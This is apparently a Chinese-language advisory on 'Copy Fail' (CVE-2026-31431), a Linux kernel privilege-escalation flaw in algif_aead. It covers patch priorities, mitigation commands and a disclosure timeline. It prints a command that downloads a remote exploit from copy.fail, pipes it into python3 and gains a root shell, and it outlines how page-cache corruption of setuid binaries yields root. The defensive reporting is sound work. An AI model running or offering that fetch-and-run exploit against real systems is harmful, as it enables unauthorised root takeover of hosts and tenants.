Copy Fail:危急 Linux 内核漏洞利用 CVE-2026-31431
Copy Fail:无声的 Linux 内核杀手 (CVE-2026-31431)
一个仅有 732 字节的 Python 脚本。四个主要 Linux 发行版。四个 root shell — 无需修改、无需重新编译、无需麻烦。欢迎来到 Copy Fail (CVE-2026-31431),Linux 近期历史上最可移植的本地权限提升漏洞。
无处不在生效的漏洞利用
由 Xint Code 通过 AI 辅助审计发现,Copy Fail 利用了 2017 年 algif_aead 加密接口中的内核优化。非特权用户可以直接向任何可读文件的 页面缓存 中写入 4 个受控字节 — 包括像 /usr/bin/su 这样的 setuid-root 二进制文件。
$ curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user)
一次成功。100% 可靠。每个发行版皆适用。
谁需要紧急处理(打补丁优先级)
| 优先级 | 环境 | 风险 |
|---|---|---|
| 🟥 高 | 多租户主机、Kubernetes、CI 运行器 | 任意用户 → 主机 root |
| 🟥 高 | 云 SaaS、笔记本主机 | 租户逃逸至主机 |
| 🟨 中 | 单租户服务器 | 内部 LPE 链 |
| 🟢 低 | 单用户工作站 | 仅后渗透 |
已验证受影响: Ubuntu 24.04、Amazon Linux 2023、RHEL 10、SUSE 16(仍在统计中)。
Copy Fail 的独特之处
| 特性 | 典型 LPE | Copy Fail |
|---|---|---|
| 竞争条件 | ✅ 需要 | ❌ 无 |
| 特定发行版偏移 | ✅ 需要 | ❌ 通用 |
| 可靠性 | 30-80% | ✅ 100% 单次成功 |
| 受影响窗口 | 狭窄范围 | 2017 → 2026 (9 年) |
| 容器逃逸 | ❌ 仅主机 | ✅ 跨租户 |
与 Dirty Pipe(管道标志)或 Dirty Cow(竞争条件)不同,Copy Fail 是直线代码,滥用 AEAD scatterlist 处理不当。
立即缓解措施
1. 打补丁(首选)
# 更新内核以包含主线提交 a664bf3d603d
apt update && apt upgrade linux-image-generic # Ubuntu
yum update kernel # RHEL
zypper update kernel # SUSE
2. 紧急禁用(打补丁前)
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true
性能影响: 对 99.9% 的工作负载无影响。仅影响罕见的 AF_ALG 用户。
3. 容器加固
通过 seccomp 为不受信任的工作负载阻塞 AF_ALG 套接字。
技术深度解析
漏洞位于 algif_aead (AF_ALG 套接字族)。2017 年的“优化”允许原地加密,其中页面缓存页面(只读源)成为可写目标 scatterlist。
splice()将页面缓存页面送入加密 scatterlist- AEAD 认证在缓冲区边界外乱写 4 个 AAD ESN 字节
authenc_esn从未恢复被覆盖的页面缓存字节execve(/usr/bin/su)读取损坏的页面缓存 → root shell
隐秘加分: 无 VFS 写入、无脏页、无磁盘变更。清除缓存或重启 → 文件恢复干净。
披露时间线
- 2026-03-23: 报告给内核团队
- 2026-04-01: 补丁提交
- 2026-04-29: 公开披露
负责任防御
PoC 已公开 (sha256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9),供防御者测试补丁。仅在授权系统上运行。
多租户运营商: 昨天就该打补丁。这不是理论。
由 Xint Code 发现 — 真正有效的 AI 安全审计。